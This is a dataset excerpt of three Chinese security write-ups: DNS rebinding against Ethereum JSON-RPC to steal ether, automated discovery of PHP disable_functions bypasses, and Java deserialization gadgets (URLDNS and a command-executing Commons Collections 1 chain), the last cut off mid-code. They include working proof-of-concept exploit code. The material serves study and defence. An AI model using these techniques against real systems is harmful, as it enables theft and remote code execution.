text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
翻译原文：<https://blog.hacker.af/how-your-ethereum-can-be-stolen-using-dns-rebinding>
随着 Tavis Ormandy 发现本地主机上利用未经身份验证的 JSON-RPC 服务的讨论兴起，我想到的第一件事就是以太坊客户端（Geth，Mist
和 Parity）。
大多数以太坊客户端在 localhost 上的端口 8545 上运行 JSON-RPC 服务，但由于它位于 localhost
上，因此我们无法直接从用户的浏览器访问它。电子钱包中的这个问题利用 CORS 标头通过 localhost 上的 JSON-RPC 控制用户的电子钱包。
Geth 的 JSON-RPC 看起来非常安全，因为它没有返回任何 CORS 头部，但随后 cpacia
在电子钱包的半补丁上发表了评论，这引起了我的兴趣。这是他具体评论的内容：
Just disabling CORS is still vulnerable to a DNS rebinding attack. It needs to be authenticated. ~ cpacia
我听说过 DNS 重新绑定但从未尝试深入研究过它。由于 Geth 的 JSON-RPC 也未经过身份验证，它也可能存在 DNS 重绑定攻击。
这里是 DNS 重绑定的基本定义： <https://en.wikipedia.org/wiki/DNS_rebinding>。
我开始研究 DNS 重绑定，但所有文章都非常古老。然后我在 Bug Bounty 论坛上询问了这个问题，Luke Young 将他在 Defcon
会议上关于现今 DNS 重绑定利用的 [演讲链接](https://en.wikipedia.org/wiki/DNS_rebinding)
发给了我。它包括一个自动化工具，可以在大多数现代浏览器上实现 DNS 重新绑定。
但是我有一颗非常好奇的心，我不想使用任何预先制作的工具，所以我开始编写自己的 DNS 服务器。Python 有一个非常好的库，名为
dnslib，它为我处理了大部分的 DNS 底层的内容。我注册了一个域名，设置了一些指向我的服务器的记录，并将它们用作名称服务器。
我想看看不同的浏览器如何在 TTL 很小的情况下做出响应的，所以我让我的 DNS 服务器返回 TTL <5。即使 TTL 小于
5，Chrome，Firefox 和 Safari 也缓存 DNS 的响应 60 秒。
使用--rpc 标志运行 geth （当然是在测试网络中）
geth --rpc --testnet
现在是一些需要解决 javascript 问题的时间，这是最难的部分。我不是一个很好的网络开发人员，每次 Javascript 行为时都使我很难理解。我在
3 小时内一起破解了一个非常糟糕但工作正常的 javascript。初步结果是成功的。
现在为了使它与 geth 一起使用，我必须在端口 8545 上运行我的 Web 服务器和域，因为 SOP 也使用这个端口。但如果我将链接发送给任何端口
8545 的人会显得有些低级。
解决方案是 iframe。我让 apache 监听 8545 和 80 端口，并为每个端口设置一个虚拟主机。现在我编写一个 i 访问 8545 端口的
frame 并在隐藏的 iframe 中运行所有的 javascript。
另一个问题是关于多个用户，如果多个用户同时访问了我的域，该怎么办？因为我使用的是一一个基于计数的操作系统，DNS
服务器会无法区分请求来自哪个用户。最终解决我的困惑是想到了使用子域名。
每次用户访问主域我都可以生成一个指向随机子域名的 iframe，将其作为这个用户的标识。我知道我可能没有清楚地解释这种攻击方式，下面有个例子。
我们假设我的域名是 attacker.com，我的服务器的 IP 是 87.87.87.87，以下攻击方式的步骤：
* 受害者在他的浏览器中打开 attacker.com。
* 首先，针对 attacker.com 的 DNS 请求被发送到我的服务器并且我的 DNS 服务器使用真实的 IP 地址 87.87.87.87 响应。
* 接下来，用户的浏览器加载 attacker.com，然后创建一个指向 randomrsub.attacker.com:8545 的 iframe，并将其添加到页面 body 部分。
* 现在，一个获取子域 randomrsub.attacker.com 地址的 DNS 请求发送到我的服务器，DNS 服务器再次使用真实 IP 87.87.87.87 进行响应。但这次，由于它位于端口 8545 上，因此 apache 会使用不同的虚拟主机进行响应，从而开始我们的 DNS 重绑定攻击利用。
* 在 randomrsub.attacker.com:8545 上的 javascript 会先等待 60 秒，然后发送一个请求 randomsub.attacker.com:8545/test 的 XmlHttpRequest。
* 由于浏览器的 DNS 缓存已过期，浏览器会再次解析 DNS。这次，我的 DNS 服务器响应 IP 为 127.0.0.1。
* 现在请求实际上发送到 127.0.0.1:8545/test 而不是我的服务器，因为它在 randomrr.attacker.com:8545 的源下，我们可以读取响应。
* 由于我们每次都会生成一个随机子域，因此我们甚至可以处理对多个用户的攻击，因为子域可以作为其标识令牌。
我还必须优化一下 javascript，以保证 95% 的时间都能正常工作。我在真正的 DNS 查询之前添加了一些虚假的 DNS
查询，以便它在错误的时候不会响应成错误的 IP 地址。
这个漏洞也可以结合存储型 XSS 攻击。只需将资源请求指向一个 js 文件，即可添加 iframe 和 TADA !!
所以现在我们可以读取 JSON-RPC 服务的响应，这意味着我们可以读取他们的以太坊地址，他们的账目，甚至会窃取他们的以太（如果他们的账户未上锁）。
JSON-RPC API 有一个相当不错的方法，称为 eth_sendTransaction，它基本上可用于从用户的帐户发送以太坊。
我将我的 POC 放到了 <http://rebinddns.ml> 网站上。如果您使用 JSON-RPC 运行 Geth （或任何其他以太坊客户端）超过
60 秒，您将看到一个 alert()，其中包含您的以太坊地址及其余额。
PoC 中使用的所有文件都可以在我的 github 上找到。
* min.js - 在端口 8545 上生成子域的隐藏 iframe 的 Js 文件
* main.js - 执行 DNS 重新绑定的 Js 文件
* server.py - 用 python 编写的 DNS 服务器
我已经验证了 Geth，C ++以太坊客户端以及 python 客户端都存在漏洞。 PoC 已经在 Firefox，Chrome 和 Safari
上进行了测试。
PS：这个漏洞已被报告给以太坊基金会并且已经修复。他们还给了我一笔不错的赏金。 | 社区文章 |
原文链接<https://www.exploit-db.com/papers/46045>
# 系统地搜索PHP disable_functions绕过
过去几天，在 **imap_open** 函数
([CVE-2018-19518](https://www.cvedetails.com/cve/cve-2018-19518)中发现了一个漏洞。这个漏洞的主要影响是，本地用户可以使用这个漏洞，绕过经过加固的服务器中的一些限制，并执行OS命令，因为这个功能通常是允许的。这种绕过方式与ShellShock
类似:可以在disable_functions不禁止的函数中注入OS命令。我想找到一种自动发现类似绕过的方法。
分步解决这个问题
1. 抽取PHP 函数的每个参数
2. 对于每个函数使用正确的参数 执行 跟踪调用
3. 在跟踪的过程中寻找每个可能的危险调用
当然这是一种幼稚的方法，但是同样的工作可以在fuzzing的时候被重用，所以我想这不是一种无用的工作。
## 抽取参数
步骤一中最重要的事情是用一种可行的方法正确地猜测或识别每个函数所使用的参数。当然我们可以从公开的PHP文档上寻找，但是一些函数的参数没有被文档记录，或者文档仅仅记为mixed。这是很重要的如果函数不能被正确的调用，我们的跟踪就会错过潜在的危险函数调用或者调用。
有不同的方式完成识别。各有特色。我们需要组合使用最大化的发现参数和他们的类型。
有一个特别方便的方法，使用类 ReflectionFunction
。通过这个简单的类，我们可以从PHP中获得每个可用的函数的名称和参数，但是他的缺点是我们不知道真正的类型，我们只能区分字符串和数组。举例如下
<?php
//Get all defined functions in a lazy way
$all = get_defined_functions();
//Discard annoying functions
//From https://github.com/nikic/Phuzzy
$bad = array('sleep', 'usleep', 'time_nanosleep', 'time_sleep_until','pcntl_sigwaitinfo', 'pcntl_sigtimedwait','readline', 'readline_read_history','dns_get_record','posix_kill', 'pcntl_alarm','set_magic_quotes_runtime','readline_callback_handler_install',);
$all = array_diff($all["internal"], $bad);
foreach ($all as $function) {
$parameters = "$function ";
$f = new ReflectionFunction($function);
foreach ($f->getParameters() as $param) {
if ($param->isArray()) {
$parameters .= "ARRAY ";
} else {
$parameters .= "STRING ";
}
}
echo substr($parameters, 0, -1);
echo "\n";
}
?>
这段代码生成了一个函数列表，我们可以稍后解析这些函数来生成我们要跟踪调用的测试:
json_last_error_msg
spl_classes
spl_autoload STRING STRING
spl_autoload_extensions STRING
spl_autoload_register STRING STRING STRING
spl_autoload_unregister STRING
spl_autoload_functions
spl_autoload_call STRING
class_parents STRING STRING
class_implements STRING STRING
class_uses STRING STRING
spl_object_hash STRING
spl_object_id STRING
iterator_to_array STRING STRING
iterator_count STRING
iterator_apply STRING STRING ARRAY
更好的方法是将PHP内部用于解析参数的方法进行hook，就像这篇文章中说的"使用frida寻找PHP内置函数中隐藏的参数"[Hunting for
hidden parameters within PHP built-in functions (using
frida)](http://www.libnex.org/blog/huntingforhiddenparameterswithinphpbuilt-infunctionsusingfrida)。作者用FRIDA hook 了 "zend_parse_parameters"
函数，而且解析了验证参数传递的模式。关于FRIDA的文章，[Hacking a game to learn FRIDA basics (Pwn
Adventure 3)](https://x-c3ll.github.io/posts/Frida-Pwn-Adventure-3/))。这个方式使最好的方式，因为通过这个模式我们可以准确知道参数类型，但是缺点是，这个功能正在被抛弃，未来也不会再用了。
PHP7
和PHP5内部结构不一样，一些参数解析的API收到这些的影响。旧的API是基于字符串的，新的API是基于macros。有了zend_parse_parameters函数，我们就有了宏
**ZEND_PARSE_PARAMETERS_START** 和他的系列。有关PHP如何解析参数可以查看文档[Zend Parameter Parsing
(ZPP
API)](https://phpinternals.net/categories/zend_parameter_parsing)。基本上现在不能简单的志勇FRIDA来完成hook关键函数这件工作了。
如果你记得，在我们的文章中[Improving PHP extensions as a persistence
method](https://x-c3ll.github.io/posts/PHP-extension-backdoor/)，我们看到了使用新的ZPP
API解析了 md5 函数的参数。
ZEND_PARSE_PARAMETERS_START(1, 2)
Z_PARAM_STR(arg)
Z_PARAM_OPTIONAL
Z_PARAM_BOOL(raw_output)
ZEND_PARSE_PARAMETERS_END();
为了抽取参数，一个破旧而有效的方式是使用符号编译PHP，并且在GDB中使用脚本来解析这些信息。但是明显有比使用GDB更好的方法，但是最近我不得不在GDB中写一些调试PHP的帮助程序。所以我使用了这个方法，开始来编译最新的PHP版本
cd /tmp
wget http://am1.php.net/distributions/php-$(wget -qO- http://php.net/downloads.php | grep -m 1 h3 | cut -d '"' -f 2 | cut -d "v" -f 2).tar.gz
tar xvf php*.tar.gz
rm php*.tar.gz
cd php*
./configure CFLAGS="-g -O0"
make -j10
sudo make install
我们的GDB脚本工作如下
1. 执行 `list functionName`
2. 如果 **ZEND_PARSE_PARAMETERS_END** 不存在，请增加列表中要显示的行数并重试。
3. 如果已经存在， 就把宏 macros **…_START** 和 **…_END** 中的行抽出来
4. 解析这两个关键字中间的参数
以下是代码
# When I do things like this I feel really bad
# Satanism courtesy of @TheXC3LL
class zifArgs(gdb.Command):
"Show PHP parameters used by a function when it uses PHP 7 ZPP API. Symbols needed."
def __init__(self):
super (zifArgs, self).__init__("zifargs", gdb.COMMAND_SUPPORT, gdb.COMPLETE_NONE, True)
def invoke (self, arg, from_tty):
size = 10
while True:
try:
sourceLines = gdb.execute("list zif_" + arg, to_string=True)
except:
try:
sourceLines = gdb.execute("list php_" + arg, to_string=True)
except:
try:
sourceLines = gdb.execute("list php_if_" + arg, to_string=True)
except:
print("\033[31m\033[1mFunction " + arg + " not defined!\033[0m")
return
if "ZEND_PARSE_PARAMETERS_END" not in sourceLines:
size += 10
gdb.execute("set listsize " + str(size))
else:
gdb.execute("set listsize 10")
break
try:
chunk = sourceLines[sourceLines.index("_START"):sourceLines.rindex("_END")].split("\n")
except:
print("\033[31m\033[1mParameters not found. Try zifargs_old <function>\033[0m")
return
params = []
for x in chunk:
if "Z_PARAM_ARRAY" in x:
params.append("\033[31mARRAY")
if "Z_PARAM_BOOL" in x:
params.append("\033[32mBOOL")
if "Z_PARAM_FUNC" in x:
params.append("\033[33mCALLABLE")
if "Z_PARAM_DOUBLE" in x:
params.append("\033[34mDOUBLE")
if "Z_PARAM_LONG" in x or "Z_PARAM_STRICT_LONG" in x:
params.append("\033[36mLONG")
if "Z_PARAM_ZVAL" in x:
params.append("\033[37mMIXED")
if "Z_PARAM_OBJECT" in x:
params.append("\033[38mOBJECT")
if "Z_PARAM_RESOURCE" in x:
params.append("\033[39mRESOURCE")
if "Z_PARAM_STR" in x:
params.append("\033[35mSTRING")
if "Z_PARAM_CLASS" in x:
params.append("\033[37mCLASS")
if "Z_PARAM_PATH" in x:
params.append("\033[31mPATH")
if "Z_PARAM_OPTIONAL" in x:
params.append("\033[37mOPTIONAL")
if len(params) == 0:
print("\033[31m\033[1mParameters not found. Try zifargs_old <function> or zifargs_error <function>\033[0m")
return
print("\033[1m"+' '.join(params) + "\033[0m")
zifArgs()
以下是运行结果
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
[+] Stupid GDB Helper for PHP loaded! (by @TheXC3LL)
Reading symbols from php...done.
pwndbg> zifargs md5
STRING OPTIONAL BOOL
pwndbg> zifargs time
OPTIONAL LONG BOOL
每种方法都有缺点，这个天真的方法也会失败
pwndbg> zifargs array_map
CALLABLE
[array_map](http://php.net/manual/es/function.array-map.php)
函数第二个参数是数组，但是我们的脚本不能检测出来。
提取参数的另一种技术是解析PHP中某些函数存在的描述性错误信息。举例array_map 将会说明需要哪些参数。
psyconauta@insulatergum:~/research/php/|
⇒ php -r 'array_map();'
Warning: array_map() expects at least 2 parameters, 0 given in Command line code on line 1
如果我们把这两个参数设为字符串他会告警就会获得预期的参数类型
psyconauta@insulatergum:~/research/php/
⇒ php -r 'array_map("aaa","bbb");'
Warning: array_map() expects parameter 1 to be a valid callback, function 'aaa' not found or invalid function name in Command line code on line 1
所以我们可以使用这些错误信息来推断参数
1. 在不使用参数的情况下调用这个函数
2. 检查错误信息中 需要多少参数
3. 使用strings 类型填充
4. 解析告警中期望的参数类型
5. 换成正确的参数类型
6. 如果还有告警，重复4
我实现了另外一个破旧的GDB命令来执行这个任务
# Don't let me use gdb when I am drunk
# Sorry for this piece of code :(
class zifArgsError(gdb.Command):
"Tries to infer parameters from PHP errors"
def __init__(self):
super(zifArgsError, self).__init__("zifargs_error", gdb.COMMAND_SUPPORT, gdb.COMPLETE_NONE,True)
def invoke(self, arg, from_tty):
payload = "<?php " + arg + "();?>"
file = open("/tmp/.zifargs", "w")
file.write(payload)
file.close()
try:
output = str(subprocess.check_output("php /tmp/.zifargs 2>&1", shell=True))
except:
print("\033[31m\033[1mFunction " + arg + " not defined!\033[0m")
return
try:
number = output[output.index("at least ")+9:output.index("at least ")+10]
except:
number = output[output.index("exactly ")+8:output.index("exactly")+9]
print("\033[33m\033[1m" + arg+ "(\033[31m" + number + "\033[33m): \033[0m")
params = []
infered = []
i = 0
while True:
payload = "<?php " + arg + "("
for x in range(0,int(number)-len(params)):
params.append("'aaa'")
payload += ','.join(params) + "); ?>"
file = open("/tmp/.zifargs", "w")
file.write(payload)
file.close()
output = str(subprocess.check_output("php /tmp/.zifargs 2>&1", shell=True))
#print(output)
if "," in output:
separator = ","
elif " file " in output:
params[i] = "/etc/passwd" # Don't run this as root, for the god sake.
infered.append("\033[31mPATH")
i +=1
elif " in " in output:
separator = " in "
try:
dataType = output[:output.rindex(separator)]
dataType = dataType[dataType.rindex(" ")+1:].lower()
if dataType == "array":
params[i] = "array('a')"
infered.append("\033[31mARRAY")
if dataType == "callback":
params[i] = "'var_dump'"
infered.append("\033[33mCALLABLE")
if dataType == "int":
params[i] = "1337"
infered.append("\033[36mINTEGER")
i += 1
#print(params)
except:
if len(infered) > 0:
print("\033[1m" + ' '.join(infered) + "\033[0m")
return
else:
print("\033[31m\033[1mCould not retrieve parameters from " + arg + "\033[0m")
return
对array_map 使用的结果
pwndbg> zifargs_error array_map
array_map(2):
CALLABLE ARRAY
到目前为止，我们解释了可以组合使用的不同技术，以自动获得
运行每个PHP函数所需的正确参数。正如我前面所说的，这种技术也可以用于fuzzing，以便达到其他的代码段，或者运行忽略的fuzzing实例。
现在让我们看看如何使用收集到的信息。
## 开始分析跟踪结果
获得跟踪的最简单方法是使用知名工具，如strace和ltrace。只需几行bash，我们就可以使用函数名和参数
解析上一步中生成的日志，运行跟踪程序并将日志保存到文件中。让我们分析mail()函数生成的日志，例如:
⇒ strace -f /usr/bin/php -r 'mail("aaa","aaa","aaa","aaa");' 2>&1 | grep exe
execve("/usr/bin/php", ["/usr/bin/php", "-r", "mail(\"aaa\",\"aaa\",\"aaa\",\"aaa\");"], [/* 28 vars */]) = 0
[pid 471] execve("/bin/sh", ["sh", "-c", "/usr/sbin/sendmail -t -i "], [/* 28 vars */] <unfinished ...>
[pid 471] <... execve resumed> ) = 0
[pid 472] execve("/usr/sbin/sendmail", ["/usr/sbin/sendmail", "-t", "-i"], [/* 28 vars */]) = -1 ENOENT (No such file or directory)
你看到了吗，sendmail中使用了execve，这说明这个参数可以被用来bypass绕过 disable_functions
。只要我们被允许使用putenv 去控制LD_PRELOAD。事实上，这只是
[CHANKRO](https://github.com/TarlogicSecurity/Chankro)
的工作方式，如果我们能够设置环境变量，我们就可以 设置 LD_PRELOAD在调用外部二进制文件时
去加载恶意文件，只需要运行脚本，等待，并执行一些greps 来检测调用情况。
## 结束语
自动化参数提取可能有点棘手，所以我决定写这篇文章来贡献我的一点经验。几个月前，我阅读了[这篇文章]
(<http://www.libnex.org/blog/huntingforhiddenparameterswithinphpbuilt-infunctionsusingfrida)，其中FRIDA用于hook> zend_parse_parameters，我想为 PHP internals
的新手完善更多这方面的信息。其中 imap_open()漏洞是编写主题为 **:)** 的完美借口。
如果你觉得这篇文章很有用，或者想指出我的错误或排版错误，请随时在twitter上联系我[@TheXC3LL](https://twitter.com/TheXC3LL) | 社区文章 |
**作者：p1g3@D0g3**
**本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！**
**投稿邮箱：[email protected]**
本篇将以URLDNS以及Commons Collections系列漏洞作为Java反序列化基础篇的练习，仅以巩固对反序列化这类漏洞的理解。
目前已经有很多java反序列化的学习文章供我们学习，所以我算是站在巨人的肩膀上完成了这篇文章，如果有什么错误的地方，欢迎指正，感谢。
下文将以yso代替ysoserial，以cc代替Commons
Collections进行分析。ysoserial的payload可以通过访问[payloads](https://github.com/frohoff/ysoserial/tree/master/src/main/java/ysoserial/payloads)获得。
以下描述的链中涉及到的class均实现了Serializable，所以均可被反序列化，这点将不再提及。
# URLDNS
URLDNS是反序列化时经常会用到的链，通常用于快速检测是否存在反序列化漏洞，原因如下：
* 只依赖原生类
* 不限制jdk版本
测试环境：jdk 8u131
## 利用链
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
## 利用链分析
urldns是yso中较为简单的一个gadget，所以这里可以直接通过正向分析的方式进行分析。
HashMap#readObject：
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
上面的这些前面一大段暂时先忽略，重点关注putVal这一段，这里调用了hash方法来处理key，跟进hash方法：
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
这里调用了key.hashCode方法，让我们看看URL的hashCode方法：
URL#hashCode：
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
在URL类的hashCode方法中，又调用了URLStreamHandler#hashCode，并将自身传递进去：
URLStreamHandler#hashCode
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
重点关注这里的getHostAddress，正是这步触发了dns请求：
回到第一步：HashMap#readObject
key是使用readObject取出来的，也就是说在writeObject一定会写入key：
private void writeObject(java.io.ObjectOutputStream s)
throws IOException {
int buckets = capacity();
// Write out the threshold, loadfactor, and any hidden stuff
s.defaultWriteObject();
s.writeInt(buckets);
s.writeInt(size);
internalWriteEntries(s);
}
跟入internalWriteEntries：
void internalWriteEntries(java.io.ObjectOutputStream s) throws IOException {
Node<K,V>[] tab;
if (size > 0 && (tab = table) != null) {
for (int i = 0; i < tab.length; ++i) {
for (Node<K,V> e = tab[i]; e != null; e = e.next) {
s.writeObject(e.key);
s.writeObject(e.value);
}
}
}
}
不难发现，这里的key以及value是从tab中取的，而tab的值即HashMap中table的值。
此时我们如果想要修改table的值，就需要调用HashMap#put方法，而HashMap#put方法中也会对key调用一次hash方法，所以在这里就会产生第一次dns查询：
HashMap#put：
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
import java.util.HashMap;
import java.net.URL;
public class Test {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://urldns.4ac35f51205046ab.dnslog.cc/");
map.put(url,123); //此时会产生dns查询
}
}
我们只想判断payload在对方机器上是否成功触发，那该怎么避免掉这一次dns查询，回到URL#hashCode：
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
这里会先判断hashCode是否为-1，如果不为-1则直接返回hashCode，也就是说我们只要在put前修改URL的hashCode为其他任意值，就可以在put时不触发dns查询。
这里的hashCode是private修饰的，所以我们需要通过反射来修改其值。
import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;
public class Test {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://urldns.4ac35f51205046ab.dnslog.cc/");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true); //修改访问权限
f.set(url,123); //设置hashCode值为123，这里可以是任何不为-1的数字
System.out.println(url.hashCode()); // 获取hashCode的值，验证是否修改成功
map.put(url,123); //调用map.put 此时将不会再触发dns查询
}
}
此时输出url的hashCode为123，证明修改成功。当put完毕之后再将url的hashCode修改为-1，确保在反序列化调用hashCode方法时能够正常进行，下面是完整的POC：
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;
public class Test {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://urldns1.eakcmc.ceye.io/");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true); // 修改访问权限
f.set(url,123); // 设置hashCode值为123，这里可以是任何不为-1的数字
System.out.println(url.hashCode()); // 获取hashCode的值，验证是否修改成功
map.put(url,123); // 调用map.put 此时将不会再触发dns查询
f.set(url,-1); // 将url的hashCode重新设置为-1。确保在反序列化时能够成功触发
try{
FileOutputStream fileOutputStream = new FileOutputStream("./urldns.ser");
ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
outputStream.writeObject(map);
outputStream.close();
fileOutputStream.close();
FileInputStream fileInputStream = new FileInputStream("./urldns.ser");
ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);
inputStream.readObject();
inputStream.close();
fileInputStream.close();
}catch(Exception e){
e.printStackTrace();
}
}
}
回过头来看看yso的payload：
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
yso在创建URL对象时使用了三个参数的构造方法。这里比较有意思的是，yso用了子类继承父类的方式规避了dns查询的风险，其创建了一个内部类：
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
定义了一个URLConnection和getHostAddress方法，当调用put方法走到getHostAddress方法后，会调用SilentURLStreamHandler的getHostAddress而非URLStreamHandler的getHostAddress，这里直接return
null了，所以自然也就不会产生dns查询。
那么为什么在反序列化时又可以产生dns查询了呢？是因为这里的handler属性被设置为transient，前面说了被transient修饰的变量无法被序列化，所以最终反序列化读取出来的transient依旧是其初始值，也就是URLStreamHandler。
这也就解释了为什么反序列化后获取的handler并不是前面设置的SilentURLStreamHandler了。
两种方法都可以规避在put时造成的dns查询，前者比较简单且思路清晰，后者比较麻烦但同时也比较炫一些。当然，这里也可以直接不用HashMap#put方法来设置table，可以通过反射的方式来设置table，但是相对而言十分麻烦，所以并没有使用。
最终。我认为yso中写的利用链并不详细，我认为的利用链应该是这样的：
HashMap#readObject
HashMap#hash
URL#hashCode
URLStreamHandler#hashCode
URLStreamHandler#getHostAddress
在JDK7中也是一样的，HashMap#readObject中最后调的方法改了一下：
但是实际上还是会触发hash方法：
最终还是会调用到URL#hashCode：
# Commons Collections
Apache
Commons是Apache软件基金会的项目，曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成：Proper（是一些已发布的项目）、Sandbox（是一些正在开发的项目）和Dormant（是一些刚启动或者已经停止维护的项目）。
Commons Collections包为Java标准的Collections
API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中，既保证了性能，同时也能大大简化代码。
由于大量的生产环境中都会导入这个包，所以此包中的众多反序列化链已经成为经典链条，本篇将对cc1-7的链进行梳理和总结，以加深对java反序列化的理解。
## 环境搭建
在这里统一使用maven来导包，比较方便也比较快捷。
先按照网上的安装和配置好maven（创建本地仓库和选择远程仓库等），接着使用idea->create new project->maven。
之后要导包的话修改pom.xml即可，比如我这里要导一个cc3.1，只需要添加以下内容：
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
之后右侧会出现一个类似的更新按钮：
点击后即可实现自动导包，十分方便和快捷。导包完成之后左侧就可以看到成功导入的包了：
如果要修改jdk的话，需要改两个点，一个是编译用的jdk，一个是导包用的jdk。
第一个点可以在这里修改，首先新建一个maven的编译环境：
之后改jdk可以在runner这里改：
第二个导包的jdk可以从File->Project Structure->Modules->Dependencies这里修改：
## CommonsCollections 1
测试环境：
* JDK 1.7
* Commons Collections 3.1
### 利用链
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
### 动态代理
在cc1的前半部分链中用到了这里的知识，记录一下。
举一个简单的例子，供货商发货给超市，我们去超市买东西。
此时超市就相当于一个代理，我们可以直接去供货商买东西，但没多少人会这么做。
在Java中的代理模式也是一样，我们需要定义一个接口，这个接口不可以直接被实例化，需要通过类去实现这个接口，才可以实现对这个接口中方法的调用。
而动态代理实现了不需要中间商（类），直接“创建”某个接口的实例，对其方法进行调用。
当我们调用某个动态代理对象的方法时，都会触发代理类的invoke方法，并传递对应的内容。
Demo：
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
public class Test {
public static void main(String[] args){
InvocationHandler handler = new InvocationHandler() {
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println(method);
if (method.getName().equals("morning")) {
System.out.println("Good morning, " + args[0]);
}
return null;
}
};
Hello hello = (Hello)Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Hello.class},handler);
hello.morning("liming");
}
}
Hello.java：
public interface Hello {
void morning(String name);
}
这里首先定义了一个handler，通过其实现对某个类接口的调用。
接着定义了一个代理对象Hello，需要传递三个参数分别为ClassLoader、要代理的接口数组以及调用接口时触发的对应方法。
此时我调用hello.morning,就会触发handler的invoke方法，并传递三个参数进去，分别为proxy即代理对象，method即调用的方法的Method对象，args即传递的参数。
所有的handler都需要实现InvocationHandler这个接口，并实现其invoke方法来实现对接口的调用。
### 利用链分析
先对后半段链进行分析。在commons
collections中有一个Transformer接口，其中包含一个transform方法，通过实现此接口来达到类型转换的目的。
其中有众多类实现了此接口，cc中主要利用到了以下三个。
* InvokerTransformer
其transform方法实现了通过反射来调用某方法：
* ConstantTransformer
其transform方法将输入原封不动的返回：
* ChainedTransformer
其transform方法实现了对每个传入的transformer都调用其transform方法，并将结果作为下一次的输入传递进去：
由这三个transformer组合起来，即可实现任意命令执行：
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
public class cc1 {
public static void main(String[] args){
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
chain.transform(123);
}
}
先说下这个反射链是如何构成的，先看InvokerTransformer的transform方法：
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
